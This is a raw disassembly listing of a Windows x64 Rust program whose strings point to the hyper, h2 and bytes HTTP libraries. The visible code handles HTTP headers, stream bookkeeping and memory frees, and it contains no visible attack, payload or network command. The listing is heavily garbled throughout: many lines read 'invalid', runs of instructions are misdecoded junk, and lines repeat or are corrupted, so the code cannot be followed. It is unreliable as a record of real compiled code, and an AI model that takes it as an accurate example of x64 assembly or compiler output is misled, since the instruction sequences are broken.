mov r8, qword [rsp + 0x80]
call qword [r13 + 0x10]
jmp 0x140085381
mov ecx, 8
mov edx, 0x60
call fcn.140107fe0
mov ecx, 2
mov rdx, r15
call fcn.140107fc0
mov qword [rsp + 0x3a0], rsi
lea rax, [rsp + 0x1a0]
mov qword [rsp + 0x1450], rax
lea rax, [0x1400ea0f0]
mov qword [rsp + 0x1458], rax
lea rcx, [rsp + 0x3a0]
mov qword [rsp + 0x1460], rcx
mov qword [rsp + 0x1468], rax
lea rax, str.cannot_advance_past__remaining_:___
mov qword [rsp + 0x7d0], rax
mov qword [rsp + 0x7d8], 2
mov qword [rsp + 0x7f0], 0
lea rax, [rsp + 0x1450]
mov qword [rsp + 0x7e0], rax
mov qword [rsp + 0x7e8], 2
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bytes_mut.rs
lea rcx, [rsp + 0x7d0]
call fcn.140108280
mov qword [rsp + 0xe0], rbx
lea rax, [rsp + 0x140]
mov qword [rsp + 0x4b0], rax
lea rax, [0x1400ea0f0]
mov qword [rsp + 0x4b8], rax
lea rcx, [rsp + 0xe0]
mov qword [rsp + 0x4c0], rcx
mov qword [rsp + 0x4c8], rax
lea rax, str.cannot_advance_past__remaining_:___
mov qword [rsp + 0x1a0], rax
mov qword [rsp + 0x1a8], 2
mov qword [rsp + 0x1c0], 0
lea rax, [rsp + 0x4b0]
mov qword [rsp + 0x1b0], rax
mov qword [rsp + 0x1b8], 2
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bytes.rsC:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_src_body_body.rs
lea rcx, [rsp + 0x1a0]
call fcn.140108280
lea r8, str._rustc_c987ad527540e8f1565f57c31204bde33f63df76library_alloc_src_vecmod.rs
mov rcx, rdx
mov rdx, rax
call fcn.140108340
mov ecx, 8
mov edx, 0x28
call fcn.140107fe0
mov ecx, 8
mov rdx, r15
call fcn.140107fc0
call fcn.140010b00
mov ecx, 2
mov edx, 0x20
call fcn.140107fc0
mov ecx, 8
mov edx, 0x240
call fcn.140107fc0
lea rax, [rsp + 0x580]
mov qword [rsp + 0x480], rax
lea rax, [fcn.140012f00]
mov qword [rsp + 0x488], rax
lea rax, [0x140172a20]
mov qword [rsp + 0x1450], rax
mov qword [rsp + 0x1458], 1
mov qword [rsp + 0x1470], 0
lea rax, [rsp + 0x480]
mov qword [rsp + 0x1460], rax
mov qword [rsp + 0x1468], 1
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fwant_0.3.1_srclib.rs
lea rcx, [rsp + 0x1450]
call fcn.140108280
mov ecx, 1
mov rdx, r8
call fcn.140107fc0
int3
xchg edi, eax
mov byte [rax], al
add byte [rax], al
test rax, rax
je 0x14008578e
invalid
add edi, edi
push rax
or byte [rsi + 0xa09f], al
add byte [rbx + rbx*8 + 0x48f01574], al
dec dword [rdi]
call qword [rax + 8]
xchg byte [rdi + 0xa0], bl
test bl, bl
je 0x1400857ad
lock dec qword [rdi]
jne 0x1400857dc
mov rcx, qword [rsi]
add rsp, 0x20
pop rbx
pop rdi
pop rsi
jmp fcn.1400370d0
mov rax, qword [rdi + 0x90]
mov rcx, qword [rdi + 0x98]
mov qword [rdi + 0x90], 0
test rax, rax
je 0x1400857ce
nop
add byte [rax], al
add byte [rax - 0x75], cl
invalid
call qword [rax + 0x18]
xor eax, eax
xchg byte [rdi + 0xa0], al
lock dec qword [rdi]
je 0x14008579e
add rsp, 0x20
pop rbx
pop rdi
pop rsi
ret
add rsi, 0x48
mov rcx, rsi
call fcn.14005bac0
nop
add rsp, 0x108
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
add byte [rax - 0x75], cl
or al, 0xca
mov qword [rcx + 0xd0], rax
mov rax, qword [rcx + 0xd8]
cmp rax, 2
je 0x140086be3
mov rdi, qword [rsp + 0x48]
test rax, rax
je 0x14008698b
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov r14, qword [rax + 0xe0]
lock inc qword [r14]
jle 0x140086ba8
movzx eax, byte [0x140182310]
mov edx, 0x100
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x140086c1c
mov rdx, rax
and rdx, 0xffffffffffffff80
lea rbx, [rdx + 0x80]
mov qword [rdx + 0x78], rax
lea rcx, [r14 + 0x68]
mov qword [rdx + 0x80], 0xcc
mov qword [rdx + 0x88], 0
lea rax, [0x140140fa8]
mov qword [rdx + 0x90], rax
mov qword [rdx + 0x98], 0
mov qword [rdx + 0xa0], r14
mov qword [rdx + 0xa8], rdi
mov rax, qword [rsp + 0x38]
mov qword [rdx + 0xb0], rax
mov qword [rdx + 0xb8], r15
mov qword [rdx + 0xc0], r13
mov qword [rdx + 0xc8], r12
mov eax, dword [rsp + 0x34]
mov byte [rdx + 0xd0], al
mov eax, dword [rsp + 0x2d]
mov r8d, dword [rsp + 0x30]
mov dword [rdx + 0xd1], eax
mov dword [rdx + 0xd4], r8d
xorps xmm0, xmm0
movups xmmword [rdx + 0xd8], xmm0
mov qword [rdx + 0xe8], 0
mov rdx, rbx
mov r8, rbx
call fcn.1400654c0
test rax, rax
je 0x140086aa7
add r14, 0x10
mov rcx, r14
mov rdx, rax
xor r8d, r8d
call fcn.1400ec5d0
jmp 0x140086aa7
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov r14, qword [rax + 0xe0]
lock inc qword [r14]
inc qword [r14]
inc qword [r14]
jle 0x140086ba8
movzx eax, byte [0x140182310]
mov edx, 0x100
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x140086c1c
mov rcx, rax
and rcx, 0xffffffffffffff80
lea rbx, [rcx + 0x80]
mov qword [rcx + 0x78], rax
mov qword [rcx + 0x80], 0xcc
add byte [rax - 0x39], cl
invalid
mov byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
or dword [rax], 0x48000000
lea rax, [0x140141048]
mov dword [rcx + 0x88], 0
lea rax, [0x140141048]
mov qword [rcx + 0x90], rax
mov qword [rcx + 0x98], 0
mov qword [rcx + 0xa0], r14
add r14, 0x58
mov qword [rcx + 0xa8], rdi
mov rax, qword [rsp + 0x38]
mov qword [rcx + 0xb0], rax
mov qword [rcx + 0xb8], r15
mov qword [rcx + 0xc0], r13
mov qword [rcx + 0xc8], r12
mov eax, dword [rsp + 0x34]
mov byte [rcx + 0xd0], al
mov eax, dword [rsp + 0x2d]
mov edx, dword [rsp + 0x30]
mov dword [rcx + 0xd1], eax
rol dword [rax], 1
add byte [rax], al
rol dword [rax], 1
add byte [rax], al
mov dword [rcx + 0xd4], edx
xorps xmm0, xmm0
movups xmmword [rcx + 0xd8], xmm0
fadd dword [rax]
add byte [rax], al
fadd dword [rax]
add byte [rax], al
mov qword [rcx + 0xe8], 0
mov rcx, r14
mov rdx, rbx
mov r8, rbx
call fcn.1400654c0
test rax, rax
je 0x140086aa7
mov ecx, dword [0x140182314]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov rcx, qword [rcx + 0xe0]
mov rdx, rax
call fcn.1400eabe0
mov rcx, qword [rsp + 0x20]
mov eax, dword [0x140182314]
mov rdx, qword gs:[0x58]
mov rax, qword [rdx + rax*8]
dec qword [rax + 0xd0]
mov edx, 0x84
mov eax, 0xcc
lock cmpxchg qword [rbx], rdx
je 0x140086ae6
mov rax, qword [rbx + 0x10]
mov rcx, rbx
call qword [rax + 0x20]
mov rcx, qword [rsp + 0x20]
mov rax, qword [rsi + 0x10]
mov qword [rsp + 0x60], rax
movups xmm0, xmmword [rsi]
movaps xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x68], r15
mov qword [rsp + 0x70], 0
movups xmm0, xmmword [rsp + 0xf8]
movups xmmword [rsp + 0x78], xmm0
movups xmm0, xmmword [rsi + 0x18]
movups xmmword [rsp + 0x88], xmm0
mov rax, qword [rsi + 0x28]
mov qword [rsp + 0x98], rax
mov byte [rsp + 0xf0], 0
mov rax, qword [rcx + 0xc8]
mov rdx, qword [rcx + 0xd0]
lea r8, [rsp + 0x50]
mov rcx, rax
call fcn.140087a50
test bpl, bpl
je 0x140086525
lea rdi, [rsi + 0x30]
mov rcx, rdi
call fcn.140027180
mov rax, qword [rsi + 0x30]
lock dec qword [rax]
jne 0x140086b74
mov rcx, rdi
call fcn.140005c50
mov rax, qword [rsi + 0x40]
lock dec qword [rax]
jne 0x140086519
mov rcx, qword [rsi + 0x40]
call fcn.140087250
jmp 0x140086519
ud2
mov rcx, rbx
call fcn.140088700
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
dec qword [rax + 0xd0]
xor eax, eax
mov byte [rsp + 0x50], al
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srccommonexec.rs
outsb dx, byte [rsi]
wait
or eax, dword [rax]
outsb dx, byte [rsi]
wait
or eax, dword [rax]
lea rcx, [rsp + 0x50]
call fcn.14010da80
mov ecx, 0x80
mov edx, 0x80
add byte [rax], 0
add al, ch
mov ch, 0x13
or byte [rax], al
add byte [rax], 0
add byte [rax], al
add al, ch
mov ch, 0x13
or byte [rax], al
mov rcx, rbx
call fcn.140088700
mov al, 1
mov byte [rsp + 0x50], al
and al, 0x50
and al, 0x50
and al, 0x50
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srccommonexec.rs
lea rcx, [rsp + 0x50]
call fcn.14010da80
outsb dx, byte [rsi]
or byte [rax], al
outsb dx, byte [rsi]
or byte [rax], al
int3
int3
int3
push rbx
sub rsp, 0x168
mov rsi, r9
mov rdi, r8
mov rbx, rdx
mov r14, rcx
mov esi, ecx
mov esi, ecx
movups xmm0, xmmword [0x14013fad0]
movaps xmmword [rsp + 0x50], xmm0
sub dword [rsp + 0x50], eax
sub dword [rsp + 0x50], eax
movups xmm0, xmmword [0x14013fac0]
movaps xmmword [rsp + 0x40], xmm0
add byte [rdi], cl
sub dword [rsp + 0x40], eax
lea rdx, [rsp + 0x40]
mov rcx, rbx
call fcn.140025860
mov bpl, 6
mov ch, 6
invalid
test al, al
jne case.0x140086e27.2
movups xmm0, xmmword [0x14012b788]
movaps xmmword [rsp + 0x50], xmm0
movups xmm0, xmmword [0x14012b778]
movaps xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
mov rcx, rbx
call fcn.140025860
inc dword [rax + rax*8 + 0x19f850f]
add byte [rax], al
invalid
inc dword [rax + rax*8 + 0x19f850f]
add byte [rax], al
movups xmm0, xmmword [0x14012bac8]
cmc
or r8b, byte [r8]
movaps xmmword [rsp + 0x50], xmm0
push rax
movups xmm0, xmmword [0x14012bab8]
movaps xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
and al, 0x40
and al, 0x40
mov rcx, rbx
call fcn.140025860
stc
inc dword [rax + rax*8 + 0x172850f]
jb 0x140086cf8
add byte [rax], al
stc
inc dword [rax + rax*8 + 0x172850f]
jb 0x140086cf8
jb 0x140086cf8
add dword [rax], eax
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0xb8de0
lea rdx, str.keep_alive
mov r8d, 0xa
mov rcx, rbx
call fcn.1400259f0
in al, dx
stc
inc dword [rax + rax*8 + 0x155850f]
add byte [rax], al
in al, dx
stc
inc dword [rax + rax*8 + 0x155850f]
add byte [rax], al
lea rdx, str.proxy_connection
mov r8d, 0x10
mov rcx, rbx
call fcn.1400259f0
test al, al
jne case.0x140086e27.2
cmp byte [rcx], al
add byte [rax], al
cmp byte [rcx], al
add byte [rax], al
movups xmm0, xmmword [0x14012bae8]
or r8b, byte [r8]
movaps xmmword [rsp + 0x50], xmm0
movups xmm0, xmmword [0x14012bad8]
movaps xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
mov rcx, rbx
call fcn.140022d40
mov edi, 0x8949fff9
invalid
mov edi, 0x8949fff9
invalid
mov rax, qword [rsp + 0x40]
test rax, rax
je 0x140086d77
lea rcx, [rsp + 0x58]
mov rdx, qword [rsp + 0x48]
mov r8, qword [rsp + 0x50]
call qword [rax + 0x10]
test r15, r15
je 0x140086d9e
cmp qword [r15 + 0x10], 8
adc byte [rax], cl
jne case.0x140086e27.2
add byte [rcx - 0x75], cl
or byte [r8 - 0x47], r9b
je 0x140086e01
mov rax, qword [r15 + 8]
movabs rcx, 0x7372656c69617274
cmp qword [rax], rcx
invalid
cmp dword [rax], ecx
jne case.0x140086e27.2
add byte [rax], al
add byte [rdi], cl
mov dh, 0x93
sbb al, 1
add byte [rax], al
movzx edx, byte [rbx + 0x11c]
mov rcx, qword [rsi]
mov r8d, dword [rsi + 8]
mov eax, dword [rsi + 0xc]
mov dword [rsp + 0x28], r8d
or byte [rbx - 0x76bbf3ba], cl
and al, 0x28
lea r10, [rsp + 0x2c]
push rsp
and al, 0x2c
mov dword [rsp + 0x2c], eax
cmp qword [rcx + 0x10], r8
adc byte [r15], cl
xchg byte [rsi + 2], dl
add byte [rax], al
adc byte [r15], cl
xchg byte [rsi + 2], dl
add byte [rax], al
mov r12, qword [rcx + 8]
imul rcx, r8, 0x130
cmp dword [r12 + rcx], 2
add dword [rax], eax
add byte [rcx - 0x7d], al
cmp al, 0xc
add cl, byte [rdi]
test byte [rax + 2], al
add al, byte [rax]
invalid
je 0x14008701d
add al, byte [rax]
add byte [rcx + 1], cl
int3
add r12, rcx
cmp dword [r12 + 0x114], eax
add dword [rax], eax
add byte [rdi], cl
test dword [rdi], ebp
add al, byte [rax]
invalid
add dword [rax], eax
add byte [rdi], cl
test dword [rdi], ebp
add al, byte [rax]
add byte [rcx + 0xf], al
movzx eax, byte [r12 + 0x50]
movzx eax, byte [r12 + 0x50]
movzx eax, byte [rsp + 0x50]
lea ecx, [rax - 6]
cli
movzx r9d, cl
cmp r9b, 6
mov r8d, 6
add byte [rax], al
invalid
add byte [rax], al
cmovb r8d, r9d
mov bpl, 1
cmp r8b, 5
ja case.0x140086e27.2
and dl, 1
loop 0x140086e16
movzx r8d, r8b
movzx eax, al
lea r9, [0x140177b40]
or eax, 0xf0d20
movsxd r8, dword [r9 + r8*4]
add r8, r9
invalid
jmp r8
mov ebp, edx
xor bpl, 1
add dword [rax - 0x4abefe06], eax
or al, byte [rcx - 0x80]
fld qword [rax]
invalid
add dword [rax - 0x4abefe06], eax
cli
add dword [rcx - 0x4b], eax
or al, byte [rcx - 0x80]
fld qword [rax]
invalid
add byte [rbp + 0x31], al
invalid
xor r15d, r15d
xor edi, edi
jmp 0x140086e9a
cmp byte [r12 + 0x51], 0
jne case.0x140086e27.2
test dl, dl
sete dl
movzx r15d, byte [r12 + 0x52]
movzx edi, byte [rsp + 0x52]
movzx edi, byte [rsp + 0x52]
mov ebp, 1
cmovne ebp, r15d
mov r13b, 0xa
sub r13b, dl
jmp 0x140086e9a
cmp byte [r12 + 0x51], 0
je case.0x140086e27.1
mov rcx, rbx
call fcn.1400876a0
mov eax, ebp
add rsp, 0x168
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
test dl, dl
sete r13b
shl r13b, 3
or r13b, 3
mov bpl, 1
cmp cl, 6
jb 0x140086ef7
stc
invalid
lea ecx, [rax - 3]
cmp cl, 2
ja 0x140086eac
cmp cl, 1
jne 0x140086ef7
invalid
movzx rax, r8b
movzx eax, al
test eax, eax
je 0x140086ef7
cmp eax, 1
jne 0x140086ed1
mov byte [r12 + 0x50], r13b
mov byte [r12 + 0x51], bpl
mov byte [r12 + 0x52], r15b
mov eax, dword [rbx + 0x118]
test eax, eax
je 0x1400870c3
add byte [rax], al
mov rcx, qword [rsp + 0x1d0]
cmp byte [rcx + 0x58], 0
mov r12, qword [rsp + 0x1d8]
setne cl
xor al, cl
test al, 1
je 0x140086fe1
mov rcx, qword [rsi]
mov edx, dword [rsi + 8]
mov eax, dword [rsi + 0xc]
mov dword [rsp + 0x28], edx
mov dword [rsp + 0x2c], eax
cmp qword [rcx + 0x10], rdx
jbe 0x140087070
lea rcx, [rsp + 0x48]
mov r8d, 0x120
mov rdx, rbx
call fcn.140106250
mov byte [rsp + 0x40], 1
mov qword [rsp + 0x20], r12
lea rdx, [rsp + 0x40]
mov rcx, r14
mov r8, rdi
mov r9, rsi
call fcn.140087770
mov rax, qword [r12]
mov rcx, qword [r12 + 8]
mov qword [r12], 0
mov bpl, 0xc
test rax, rax
je 0x140086e73
call qword [rax + 8]
jmp 0x140086e73
add r14, 8
lea rcx, [rsp + 0x48]
mov r8d, 0x120
mov rdx, rbx
call fcn.140106250
mov byte [rsp + 0x40], 1
mov qword [rsp + 0x20], r12
lea rdx, [rsp + 0x40]
mov rcx, r14
mov r8, rdi
mov r9, rsi
call fcn.140087770
mov bpl, 0xc
jmp 0x140086e73
mov qword [rsp + 0x30], r10
lea rax, [0x14001b400]
mov qword [rsp + 0x38], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 1
mov qword [rsp + 0x60], 0
lea rax, [rsp + 0x30]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 1
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
lea rcx, [rsp + 0x40]
call fcn.140108280
mov qword [rsp + 0x30], r10
lea rax, [0x14001b400]
mov qword [rsp + 0x38], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 1
mov qword [rsp + 0x60], 0
lea rax, [rsp + 0x30]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 1
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
lea rcx, [rsp + 0x40]
call fcn.140108280
lea rcx, str.assertion_failed:__id.is_zero__C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcprotopeer.rs
lea r8, [0x140127f40]
mov edx, 0x1f
call fcn.140108350
int3
sal byte [rbp + 0xf], cl
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x140087113
xor eax, eax
xchg byte [rcx], al
cmp al, 2
jne 0x14008710c
add rsp, 0x20
pop rsi
jmp qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
nop
add rsp, 0x20
pop rsi
ret
mov rsi, rcx
call fcn.140110270
mov rcx, rsi
test al, al
jne 0x1400870f8
mov byte [rcx + 1], 1
jmp 0x1400870f8
int3
adc eax, 0x8b1cf
mov rax, qword [rsi + 0x90]
test rax, rax
je 0x1400871a7
invalid
or cl, byte [rax - 0x75]
mov ds, word [rax - 0x1000000]
push rax
sbb byte [rax - 0x75], cl
xchg byte [rax + 0x48000000], ch
test eax, eax
mov rcx, qword [rsi + 0x98]
call qword [rax + 0x18]
mov rax, qword [rsi + 0xa8]
test rax, rax
je 0x1400871c3
mov rcx, qword [rsi + 0xb0]
add rsp, 0x20
pop rsi
jmp qword [rax + 0x18]
nop
add rsp, 0x20
pop rsi
ret
cmp r13, r12
cmp ebp, esp
jae 0x140087403
add rdi, 0x20
jmp 0x1400873e9
add rdi, 0x50
dec r15
je 0x140087403
cmp dword [rdi - 0x20], 3
je 0x1400873e0
mov rax, qword [rdi - 0x18]
mov rdx, qword [rdi - 0x10]
mov r8, qword [rdi - 8]
mov rcx, rdi
call qword [rax + 0x10]
jmp 0x1400873e0
test r14, r14
je 0x14008742c
div byte [rsp + 0x4c]
mov eax, dword [rsi + 0x28]
mov r8, qword [rsi + 0x28]
mov rcx, qword [0x140182260]
or eax, 0xfae4d
xor edx, edx
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop rsi
pop rsi
pop r15
jmp qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop rsp
pop rsp
pop r13
pop r14
pop r15
ret
loope 0x14008744e
lea rcx, [rcx + rcx*4]
sub rax, rcx
lea rbx, [rax + rdi]
add rbx, 0x20
jmp 0x14008746d
invalid
add rbx, 0x50
dec rbp
int 0xf
test byte [rsi - 1], ah
invalid
invalid
int 0xf
test byte [rsi - 1], ah
invalid
cmp dword [rbx - 0x20], 3
je 0x140087460
mov rax, qword [rbx - 0x18]
mov rdx, qword [rbx - 0x10]
invalid
mov r8, qword [rbx - 8]
mov rcx, rbx
call qword [rax + 0x10]
jmp 0x140087460
invalid
int3
int3
mov rsi, rcx
cmp dword [rcx + 0x10], 3
je 0x1400874a8
lea rcx, [rsi + 0x10]
call fcn.140052130
lodsb al, byte [rsi]
cld
invalid
lodsb al, byte [rsi]
cld
dec dword [rax - 0x7d]
mov esi, 0xc0
add byte [rax], al
je 0x1400874be
lea rcx, [rsi + 0xc0]
cmp qword [rsi + 0xc0], 0
add byte [rax], al
je 0x1400874be
lea rcx, [rsi + 0xc0]
call fcn.140035fe0
cli
dec dword [rdi]
mov dh, 0x86
test al, 0
add byte [rax], al
movzx eax, byte [rsi + 0xa8]
cmp al, 0xb
je case.0x140068ed1.84
cmp al, 0xa
jb case.0x140068ed1.84
cmp qword [rsi + 0xb8], 0
je case.0x140068ed1.84
add byte [rsi + rdx + 0x4c], dh
mov eax, dword [rsi + 0xb0]
mov r8, qword [rsi + 0xb0]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsi], 0
cmp dword [rsi], 0
je 0x140087542
mov rdi, qword [rsi + 8]
test rdi, rdi
je 0x140087542
or byte [rax - 0x7b], cl
push qword [rsi + rax*2 + 0x48]
mov eax, dword [rdi + 0x30]
mov rax, qword [rdi + 0x30]
mov rcx, rax
test cl, 4
jne 0x14008751a
mov rdx, rcx
or rdx, 2
mov rax, rcx
lock cmpxchg qword [rdi + 0x30], rdx
jne 0x140087500
and ecx, 5
cmp ecx, 1
jne 0x14008752d
add eax, 0x7501f983
or ecx, dword [rax - 0x75]
and byte [r8 - 0x75], r9b
sub r15b, r15b
push rax
adc al, dh
mov rax, qword [rdi + 0x20]
mov rcx, qword [rdi + 0x28]
call qword [rax + 0x10]
lock dec qword [rdi]
dec qword [rdi]
jne 0x140087542
mov rcx, qword [rsi + 8]
add rsp, 0x28
pop rdi
pop rsi
jmp fcn.1400375e0
nop
add rsp, 0x28
sub byte [rdi + 0x5e], bl
sub byte [rdi + 0x5e], bl
ret
int3
sbb byte [rax - 0x77], cl
ror dword [rcx - 1], 0xe1
int3
int3
int3
int3
mov ecx, dword [rcx + 8]
mov r10, qword [rcx + 0x20]
mov rcx, rax
ror dword [rcx - 1], 0xe2
ror dword [rcx - 1], 0xe2
int3
int3
int3
or byte [rbx + rcx*4 + 0x41], cl
sub byte [rax - 0x77], cl
ror dword [rcx - 1], 0xe0
jmp r8
int3
jmp r8
int3
int3
or byte [rbx + rcx*4 + 0x41], cl
xor byte [rax - 0x77], cl
ror dword [rcx - 1], 0xe0
int3
mov ecx, eax
jmp r8
mov eax, dword [rcx]
mov rcx, qword [rcx + 8]
mov ecx, dword [rcx + 8]
mov ecx, dword [rcx + 8]
mov r10, qword [rcx + 0x38]
mov rcx, rax
mov ecx, eax
cmp byte [rax - 0x77], cl
ror dword [rcx - 1], 0xe2
jmp r10
int3
mov ecx, eax
jmp r10
int3
int3
int3
movabs rax, 0x6c3d5f940c0184f7
movabs rdx, 0xd2819291def05648
invalid
invalid
xchg ecx, eax
xchg edx, eax
invalid
invalid
invalid
ret
add al, 0x82
add rax, rdx
jmp rax
cmp rax, 1
je 0x14008767f
test rax, rax
jne case.0x140087637.2
mov rax, qword [rcx + 0x10]
mov rdx, qword [rcx + 0x18]
mov rax, qword [rax + 0x10]
mov r8, qword [rcx + 0x20]
add rcx, 0x28
jmp rax
cmp qword [rcx + 0x18], 0
je case.0x140087637.2
mov r8, qword [rcx + 0x10]
mov rcx, qword [0x140182260]
xor edx, edx
jmp qword [sym.imp.kernel32.dll_HeapFree]
ret
cmp ch, 2
je 0x1400889a7
mov rsi, qword [rsp + 0x30]
lock dec qword [rsi + 0x40]
jne 0x140088982
push rbp
push rbp
mov rax, qword [rsi + 0x38]
test rax, rax
jns 0x140088945
movabs rax, 0x7fffffffffffffff
lock and qword [rsi + 0x38], rax
mov rax, qword [rsi + 0x58]
nop dword [rax]
mov rcx, rax
or rcx, 2
lock cmpxchg qword [rsi + 0x58], rcx
jne 0x140088950
test rax, rax
jne 0x140088982
mov rax, qword [rsi + 0x48]
mov rcx, qword [rsi + 0x50]
mov qword [rsi + 0x48], 0
lock and qword [rsi + 0x58], 0xfffffffffffffffd
test rax, rax
je 0x140088982
call qword [rax + 8]
lock dec qword [rsi]
jne 0x140088992
lea rcx, [rsp + 0x30]
call fcn.140088a10
mov rax, qword [rsp + 0x38]
lock dec qword [rax]
jne 0x1400889a7
mov rcx, qword [rsp + 0x38]
and al, 0x38
call fcn.140037080
mov qword [rsp + 0x30], r14
test r14, r14
je 0x1400889c1
lock dec qword [r14]
jne 0x1400889c1
lea rcx, [rsp + 0x30]
lea ecx, [rsp + 0x30]
call fcn.140039330
mov eax, ebx
add rsp, 0x78
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop r15
ret
stc
invalid
invalid
mov rcx, qword [0x140182260]
or eax, 0xf97e9
xor edx, edx
call r14
test rbx, rbx
je 0x140088aa7
mov r8, rbx
mov rbx, qword [rbx]
sbb ecx, dword [rcx - 0x75]
or byte [rax - 0x7b], cl
invalid
je 0x140088a70
sbb ecx, dword [rcx - 0x75]
or byte [rax - 0x7b], cl
sal byte [rax + riz*8 - 0x10], 0x48
lock dec qword [rax]
lock dec qword [rax]
jne 0x140088a70
mov rcx, qword [r8 + 8]
mov r15, r8
call fcn.140037080
mov r8, r15
cli
dec dword [rbp - 0x77]
clc
jmp 0x140088a70
mov rax, qword [rdi + 0x48]
test rax, rax
je 0x140088ab7
mov rcx, qword [rdi + 0x50]
push rax
call qword [rax + 0x18]
push rax
sbb byte [rbx + rcx*4 + 6], cl
invalid
mov r8, qword [rsi]
invalid
cmp r8, 0xffffffffffffffff
je 0x140088ae2
invalid
and dh, al
dec qword [r8 + 8]
lock dec qword [r8 + 8]
jne 0x140088ae2
mov rcx, qword [0x140182260]
or eax, 0xf9792
add byte [rcx], dh
ror byte [rax - 0x7d], cl
invalid
xor edx, edx
add rsp, 0x20
and byte [rbx + 0x5f], bl
and byte [rbx + 0x5f], bl
pop rsi
pop r14
pop r15
jmp qword [sym.imp.kernel32.dll_HeapFree]
and eax, 0x8987e
nop
add rsp, 0x20
add esp, 0x20
add esp, 0x20
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
test al, 0
add byte [rax], al
movaps xmmword [rsp + 0x90], xmm6
mov rsi, rcx
mov rax, qword [rcx]
jmp 0x140088b2a
mov rcx, rax
and rcx, 0xfffffffffffffff8
ror dword [rax - 0x7d], 0xe1
clc
or rcx, 1
mov edx, eax
shr dl, 5
add eax, 0xf001e280
cmpxchg qword [rsi], rcx
add eax, 0xf001e280
cmpxchg qword [rsi], rcx
je case.0x1400656b8.111
test al, 4
je 0x140088d94
test byte [rdx + 2], ah
add byte [rax], al
test byte [rdx + 2], ah
add byte [rax], al
add al, byte [rax]
add byte [rax + 0x48da7403], ch
add esi, dword [rdx + rbx*8 + 0x48]
test al, 3
je 0x140088b10
add esi, dword [rdx + rbx*8 + 0x48]
cmp rax, 0x3f
cmp eax, 0x3f
jbe 0x140088dac
xchg byte [rdx + rax], ch
add al, byte [rax]
add byte [rax - 0x73], cl
ror byte [rax - 0x7d], 0xf9
ror byte [rax - 0x7d], 0xf9
lea rcx, [rax - 0x40]
cmp rcx, 0x40
cmp ecx, 0x40
ror byte [rax - 0x7d], 0xf9
cmp ecx, 0x40
setb dl
setb dl
or dl, 2
lock cmpxchg qword [rsi], rcx
jne 0x140088b2a
movzx eax, dl
lea rcx, [0x140177b74]
or eax, 0xef015
ret 0x8d48
or eax, 0xef015
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
lea rax, [0x14014e140]
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], rsi
lea rax, [rsp + 0x60]
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x80], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rdi], cl
mov dh, 0x46
push rax
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rdi], cl
mov dh, 0x46
push rax
and al, 6
cmp al, 4
add al, 0xf
test byte [rdx], ah
add al, byte [rax]
invalid
add al, 0xf
test byte [rdx], ah
add al, byte [rax]
add byte [rax - 0x73], cl
xor byte [rax - 0x75], r9b
mov edi, dword [rsi + 0x28]
lea rcx, [rsi + 0x30]
mov rdi, qword [rsi + 0x28]
mov edi, dword [rsi + 0x28]
mov edi, dword [rsi + 0x28]
mov eax, dword [0x140182314]
mov rdx, qword gs:[0x58]
add byte [rax], al
add byte [rax], al
mov rax, qword [rdx + rax*8]
movzx eax, byte [rax + 0x120]
and byte [rax], 1
add byte [rax], al
and byte [rax], 1
add byte [rax], al
cmp eax, 1
je case.0x140068ed1.94
xorps xmm6, xmm6
test eax, eax
jne 0x140088c33
invalid
invalid
mov eax, dword [0x140182314]
mov rdx, qword gs:[0x58]
add byte [rax], al
